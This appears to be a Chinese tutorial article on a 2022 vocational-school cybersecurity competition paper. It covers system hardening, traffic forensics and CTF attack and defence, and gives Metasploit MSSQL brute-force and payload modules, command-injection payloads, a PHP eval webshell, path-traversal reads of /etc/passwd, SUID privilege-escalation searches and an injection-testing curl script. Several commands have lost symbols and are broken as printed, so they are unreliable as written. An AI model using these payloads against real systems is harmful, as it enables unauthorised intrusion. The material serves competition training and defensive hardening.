ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

中职网络安全赛题实战拆解:从加固、取证到CTF攻防的完整链路

中职网络安全赛题实战拆解:从加固、取证到CTF攻防的完整链路 简介这份文档是2022年全国职业院校技能大赛中职组网络安全赛项的完整赛题第9套面向职业院校网络安全竞赛选手、指导教师以及备赛训练的学习者用于模拟真实赛场环境、检验安全加固与攻防实战能力。赛题围绕基础设施设置与安全加固、网络安全事件响应与数字取证、应用安全以及CTF夺旗攻击与防御四大模块展开涵盖密码策略、用户权限管理、SSH与VSFTPD中间件加固、IIS日志审计、iptables防火墙策略、Nmap与DirBuster渗透测试等具体任务并附有竞赛时间安排、分值权重与注意事项。资源包共1个docx文件约49KB内容为完整赛题文本便于打印或对照练习。目前已有849人学习下载适合需要系统梳理赛项考点、开展赛前模拟与查漏补缺的中职及高职网络安全参赛者。1. 从一份中职组赛题看网络安全实战这套题到底练什么很多人第一次翻到这份《2022 年全国职业院校技能大赛中职组网络安全赛项赛题 9》时会以为它只是一份普通的试卷。但真正做过这套题的人知道它其实是一份被压缩到 4 个小时里的完整攻防工作流从 Windows 本地安全策略、Linux 中间件加固到 Nmap 扫描、MSF 漏洞利用、Wireshark 流量取证再到 CTF 夺旗的攻击与防御。总分 100 分A 模块基础设施加固占 20%B 模块事件响应与数字取证占 40%C、D 两个 CTF 模块各占 20%。换句话说它考的不是单点知识而是发现—利用—加固—取证这条链路上每一环能不能落地。适合正在准备 CTF 入门、渗透测试学习、或者想系统梳理安全加固清单的从业者也适合带学生打比赛的指导老师拿来当训练蓝本。2. 基础设施加固Windows 与 Linux 的 18 个必做动作A 模块是整份赛题里最稳的部分——它不依赖漏洞运气全靠对系统安全策略的熟悉程度。20 分里塞了 18 个具体任务覆盖 Windows 登录安全、事件审核、IIS 加固、本地策略以及 Linux 的 SSHD、VSFTPD、iptables。这一章把能直接抄作业的命令和配置路径拆开讲。2.1 Windows 密码策略与用户安全管理的落地点A-1 任务要求密码符合复杂性、最短使用期限 10 天、禁用来宾账户、删除后门用户、限制关机权限。这些在图形界面里点得到但比赛时用secpol.msc和net user更快。# 查看当前所有本地用户找可疑账户 net user # 禁用来宾账户 net user Guest /active:no # 删除疑似后门用户示例test$ 这类带 $ 的隐藏账户 net user test$ /delete # 设置密码最短使用期限为 10 天本地策略 # 路径secpol.msc - 账户策略 - 密码策略 - 密码最短使用期限 - 10逻辑说明net user不带参数列出所有账户带$结尾的账户在默认视图里不显示是常见的后门藏法。/active:no是禁用而非删除保留账户但切断登录。密码最短使用期限在图形界面改是因为net accounts命令虽然能设/minpwage:10但比赛答题卡通常要求截图策略界面所以两条路都要会。参数说明/minpwage单位是天设 0 表示可立即改密码设 10 就是 10 天内不能改。复杂性要求对应secpol.msc里密码必须符合复杂性要求启用不要和密码长度最小值混淆。关机权限的限制在本地策略 - 用户权限分配里把关闭系统只留给 Administrators 组从远端系统强制关机同样只指派给 Administrators。这一步容易被忽略因为默认 Users 组也有部分关机权限。2.2 事件审核与 IIS 日志的开启方式A-2 要求开启审核策略登录事件成功/失败、特权使用成功、策略更改成功/失败、进程跟踪成功/失败。A-3 的 IIS 部分要求日志格式为 W3C只记录日期、时间、客户端 IP、用户名、方法。# 用 auditpol 命令行开启审核策略比逐项点图形界面快 auditpol /set /subcategory:登录 /success:enable /failure:enable auditpol /set /subcategory:特权使用 /success:enable auditpol /set /subcategory:策略更改 /success:enable /failure:enable auditpol /set /subcategory:进程跟踪 /success:enable /failure:enable # 查看当前审核配置 auditpol /get /category:*逻辑说明auditpol是 Windows 自带的审核策略命令行工具/subcategory后跟中文子类别名系统语言为中文时/success:enable和/failure:enable分别控制成功和失败事件的记录。比赛环境如果是英文系统子类别名要换成Logon、Privilege Use、Policy Change、Process Tracking。参数说明/category:*列出所有类别方便确认子类别名称拼写。IIS 日志在inetmgr里选站点 - 日志 - 格式选 W3C - 选择字段只勾日期、时间、客户端 IP、用户名、方法五项。WebDAV 关闭在添加角色和功能里取消勾选或在 IIS 管理器里移除 WebDAV 模块。2.3 SSHD 与 VSFTPD 加固端口、计划任务与 PID 路径A-3 的 Linux 部分要求改 SSH 端口为 2222、禁止 root 远程登录、设置 root 计划任务每天 7:50 开 SSH、22:50 关、每周六 7:30 重启、修改 PID 存放地。VSFTPD 要求非特权用户 pyftp、端口范围 50000-60000、本地用户限制在 home 目录。# 修改 SSH 配置 vim /etc/ssh/sshd_config # 改 Port 2222 # 改 PermitRootLogin no # 改 PidFile /var/run/sshd_custom.pid # 重启 SSH 使配置生效 systemctl restart sshd # 设置 root 计划任务 crontab -e -u root # 加入以下三行 50 7 * * * /usr/sbin/sshd 50 22 * * * pkill sshd 30 7 * * 6 systemctl restart sshd逻辑说明PermitRootLogin no禁止 root 直接远程登录但计划任务里用pkill sshd关闭服务后周六的重启用systemctl restart而不是直接启动二进制是因为 systemd 管理的服务用 systemctl 更规范。PID 文件路径改了之后systemctl restart会按新路径写 PID但要注意 SELinux 可能拦截非标准路径比赛环境通常已关闭。参数说明crontab -e -u root编辑 root 的计划任务50 7 * * *表示每天 7:5030 7 * * 6表示每周六 7:30。VSFTPD 配置在/etc/vsftpd/vsftpd.conf或/etc/vsftpd.confguest_usernamepyftp指定非特权用户pasv_min_port50000和pasv_max_port60000限制被动模式端口local_root/home或chroot_local_userYES限制本地用户活动范围。2.4 iptables 三条策略防扫描、防暴力、防碎片A-5 要求对 3306 端口做流量处理防 Nmap 探测、仅允许 172.16.10.0/24 访问 SSH、限制 IP 碎片每秒 1000 个。# 防 Nmap 对 3306 的扫描丢弃异常标志位组合的包 iptables -A INPUT -p tcp --dport 3306 -m tcp --tcp-flags ALL ALL -j DROP iptables -A INPUT -p tcp --dport 3306 -m tcp --tcp-flags ALL NONE -j DROP # 仅允许 172.16.10.0/24 访问 SSH iptables -A INPUT -p tcp --dport 22 -s 172.16.10.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j DROP # 限制 IP 碎片每秒 1000 个 iptables -A INPUT -f -m limit --limit 1000/s -j ACCEPT iptables -A INPUT -f -j DROP逻辑说明第一条用--tcp-flags ALL ALL匹配所有标志位都置位的异常包Nmap 的 XMAS 扫描特征ALL NONE匹配无标志位的 NULL 扫描。第二条先放行指定网段再丢弃其余顺序不能反。第三条-f匹配分片包--limit 1000/s限制速率超出部分走后面的 DROP。参数说明-A INPUT追加到输入链-s指定源网段-j指定动作。--limit的速率单位可以是/s、/m、/h。保存规则用iptables-save /etc/sysconfig/iptablesCentOS或netfilter-persistent saveDebian 系。3. 事件响应与数字取证B 模块的 10 个任务怎么拆B 模块 40 分10 个子任务各 4 分是整份赛题里分值最重、也最考验工具熟练度的部分。它覆盖主机发现、Web 渗透、流量取证、漏洞扫描、PE 逆向、数据库渗透、Linux 应急响应。这一章按工具链拆解重点讲每个任务在考什么、命令怎么敲、结果怎么读。3.1 Nmap 脚本扫描与 VNC 服务探测B-1 要求用 Nmap 查看本地路由与接口、扫描 VNC 服务、发空 UDP 包攻击 avahi、模糊测试、Zenmap 扫远程代码执行漏洞。# 查看本地路由与接口 nmap --iflist # VNC 服务扫描 nmap -p 5900 --script vnc-info target # 或 nmap --script vnc-brute target # 对 avahi 发空 UDP 包 nmap -sU -p 5353 --script dns-service-discovery target # 模糊测试 nmap --script fuzzer target # 扫远程代码执行漏洞检测路径 /cgi-bin/bin nmap -p 80 --script http-shellshock --script-args uri/cgi-bin/bin target逻辑说明--iflist列出接口和路由是 B-1 第 1 题的答案来源。VNC 扫描用vnc-info脚本读版本号vnc-brute做口令爆破。avahi 是类 DNS 服务dns-service-discovery脚本发空 UDP 包触发拒绝服务。模糊测试用fuzzer脚本发异常包。远程代码执行漏洞检测用http-shellshock或类似脚本uri参数指定检测路径。参数说明-p指定端口--script指定脚本名--script-args传脚本参数。脚本名要记准比赛答题卡要求提交的就是脚本名称字符串如vnc-info.nse。Zenmap 是 Nmap 的图形前端脚本调用方式和命令行一致。3.2 Wireshark 流量取证从 attack.pcapng 里挖 FlagB-3 要求分析 attack.pcapng找出恶意 IP、扫描端口、用户名、密码、一句话木马密码、下载文件名、文件内容。这是典型的数字取证流量分析题。# 用 tshark 命令行快速过滤Wireshark 的 CLI 版 # 找恶意 IP按对话统计 tshark -r attack.pcapng -q -z conv,ip # 找扫描端口过滤 SYN 包 tshark -r attack.pcapng -Y tcp.flags.syn1 tcp.flags.ack0 -T fields -e tcp.dstport | sort -n | uniq # 找登录用户名密码过滤 HTTP POST tshark -r attack.pcapng -Y http.request.methodPOST -T fields -e http.file_data # 找一句话木马密码过滤 POST 内容中的 pass 参数 tshark -r attack.pcapng -Y http contains \pass\ -T fields -e http.file_data逻辑说明conv,ip统计 IP 对话流量最大的可疑 IP 就是恶意用户。SYN 包过滤找出扫描端口sort -n | uniq去重排序。HTTP POST 的file_data字段包含表单内容能直接看到用户名密码。一句话木马的密码通常在 POST 的pass参数里下载文件名在 HTTP 响应或 FTP 传输里找。参数说明-r读文件-Y显示过滤器Wireshark 语法-T fields -e指定输出字段。tcp.flags.syn1 tcp.flags.ack0是 SYN 扫描特征。如果 pcapng 里有 FTP 传输用ftp-data过滤找下载文件。3.3 MSF 漏洞扫描与 MS08067 利用B-4 要求 Nmap 输出 XML、初始化 MSF 数据库、导入扫描结果、搜索 MS08067、检测漏洞。# Nmap 输出 XML nmap -sV -oX result.xml target # 初始化 MSF 数据库 msfdb init # 启动 MSF 并导入 msfconsole db_import /path/to/result.xml hosts services # 搜索 MS08067 search ms08067 # 调用模块检测 use exploit/windows/smb/ms08_067_netapi set RHOSTS target check逻辑说明-oX输出 XML 格式msfdb init初始化 PostgreSQL 数据库db_import导入后hosts和services查看。search ms08067回显里有公开时间。check命令检测目标是否存在漏洞回显最后一个单词通常是vulnerable或safe。参数说明-sV版本扫描-oX指定输出文件。MSF 里set RHOSTS设目标check只检测不利用。MS08067 的模块路径是exploit/windows/smb/ms08_067_netapi公开时间在 search 结果里能看到。3.4 PE 逆向与数据库渗透的关键命令B-5 要求静态调试 PE01.exe找 main 入口、许可证检查函数、Flag、注册成功回显、许可证码。B-7 要求 Zenmap 扫 1433/3306/80、MSF 爆破数据库、扩展存储过程利用。# PE 静态调试用 IDA Pro 或 Ghidra # main 入口IDA 里看 Entry Point 或搜索 main # 许可证检查函数搜索 license 或 check 字符串交叉引用 # Flag在字符串窗口搜索 flag{ 或 CTF{ # 数据库渗透MSF 爆破 MSSQL use auxiliary/scanner/mssql/mssql_login set RHOSTS target set USER_FILE /root/users.txt set PASS_FILE /root/2.txt set THREADS 10 run # 扩展存储过程利用 use exploit/windows/mssql/mssql_payload set RHOSTS target set PASSWORD cracked_password set CMD whoami run逻辑说明PE 逆向用 IDA 打开后Entry Point 附近就是 main字符串窗口搜license找检查函数搜flag{找 Flag。数据库爆破用mssql_login模块USER_FILE和PASS_FILE指定字典THREADS设线程。扩展存储过程利用用mssql_payloadCMD参数执行系统命令。参数说明set赋值run执行。show options查看需要配置的字段通常包括RHOSTS、USER_FILE、PASS_FILE、THREADS、USERNAME、PASSWORD。B-7 第 4 题要求提交这些字段名用逗号分隔。4. CTF 夺旗攻防C 模块与 D 模块的边界在哪C 模块攻击 20 分D 模块防御 20 分两者共用同一套漏洞描述命令注入、文件上传、文件包含、远程代码执行、缓冲区溢出、系统后门。区别在于 C 模块是打别人的靶机抢 FlagD 模块是加固自己的堡垒机并出报告。这一章讲攻击路径和防御加固的对应关系。4.1 命令注入与文件上传的利用链C 模块的漏洞说明里命令注入和文件上传是最常见的入口。命令注入通常出现在 ping、nslookup 这类调用系统命令的功能点。# 命令注入测试 127.0.0.1; whoami 127.0.0.1 | whoami 127.0.0.1 whoami # 文件上传先传普通图片再改后缀或 Content-Type # 用 Burp Suite 抓包改 filenameshell.php # 或改 Content-Type: image/jpeg 绕过前端校验逻辑说明分号、管道、与符号是命令注入的三种拼接方式取决于后端用的是exec、system还是shell_exec。文件上传的绕过分前端校验改 Content-Type、后端黑名单改后缀为.phtml、.php5、内容检测加图片头GIF89a。参数说明命令注入的 payload 要 URL 编码后发送。文件上传的 webshell 内容用一句话?php eval($_POST[pass]);?连接密码就是pass。4.2 文件包含与提权的结合文件包含漏洞通常配合文件上传使用先传图片马再通过包含漏洞执行。# 文件包含读取敏感文件 http://target/index.php?page../../../../etc/passwd # 包含上传的图片马 http://target/index.php?pageupload/shell.jpg # 提权找 SUID 文件 find / -perm -4000 -type f 2/dev/null # 找可写 cron ls -la /etc/cron*逻辑说明../穿越路径读系统文件包含图片马时后端会把图片当 PHP 执行。提权先找 SUID 文件常见的有nmap、find、vim再用 GTFOBins 对应方法提权。cron 可写就直接写反弹 shell。参数说明-perm -4000匹配 SUID 位2/dev/null屏蔽权限错误。文件包含的路径深度取决于当前脚本位置一般../../../../够用。4.3 D 模块防御加固的实施报告怎么写D 模块要求扫描自己的堡垒机、发现漏洞、加固、出 PDF 报告。报告结构通常是发现的问题、加固措施、验证结果。漏洞类型加固措施验证方式命令注入过滤特殊字符、用白名单重放 payload 确认被拦截文件上传白名单后缀、重命名、存非 Web 目录尝试上传 php 确认失败文件包含关闭 allow_url_include、限制路径尝试包含远程文件确认失败远程代码执行打补丁、关服务、防火墙限制重新扫描确认漏洞消失缓冲区溢出打补丁、DEP/ASLR 开启重放溢出 payload 确认崩溃消失系统后门删账户、删计划任务、清启动项重启后确认后门不复活逻辑说明加固报告要配截图每步操作前中后各一张。验证环节不能省因为评分看的是加固成效而不是加固动作。后门清理要查crontab、systemd服务、rc.local、/etc/passwd新增账户。参数说明allow_url_include在 php.ini 里设 Offopen_basedir限制脚本访问目录。防火墙用iptables或firewalld限制服务端口来源。5. 从赛题到实战三个能带走的排查习惯这份赛题最大的价值不在题目本身而在于它逼你把扫描—利用—取证—加固串成一条线。我做完这套题后有三个习惯一直保留到现在。第一个是先看流量再动手。B-3 的 attack.pcapng 分析教会我任何应急响应第一步都是抓包和看日志而不是直接上工具扫。tshark -r xxx.pcapng -q -z conv,ip这条命令我现在每次排查异常流量都会先跑一遍对话统计能最快定位可疑 IP。第二个是加固必留验证截图。D 模块的报告要求发现—加固—验证三步缺一不可。我现在做任何安全配置变更都会在变更前跑一次扫描、变更后再跑一次两次结果对比存档。nmap -sV -oX before.xml和nmap -sV -oX after.xmldiff 一下就知道加固有没有生效。第三个是命令注入的测试 payload 要备三套。分号、管道、与符号各一套因为不同后端函数的拼接方式不同。我一般会写一个小脚本批量测#!/bin/bash # 命令注入批量测试 TARGEThttp://target/ping.php for payload in ;whoami |whoami whoami %3Bwhoami %7Cwhoami; do echo Testing: $payload curl -s $TARGET?ip127.0.0.1$payload | grep -E root|www-data|admin done逻辑说明curl -s静默请求grep过滤命令执行结果特征。%3B和%7C是分号和管道的 URL 编码有些后端会解码后再拼接。这个脚本能快速判断哪个 payload 生效。参数说明TARGET换成实际测试地址ip127.0.0.1是假设的参数名实际要按目标调整。grep -E用扩展正则匹配多个关键词。从那以后我每次做渗透测试或应急响应都强制走一遍抓包—定位—验证—加固—复测这五步不再跳步。这套赛题里的 18 个加固任务、10 个取证任务、6 类漏洞利用本质上就是这五步的反复演练。希望帮到你。本文还有配套的精品资源点击获取
返回列表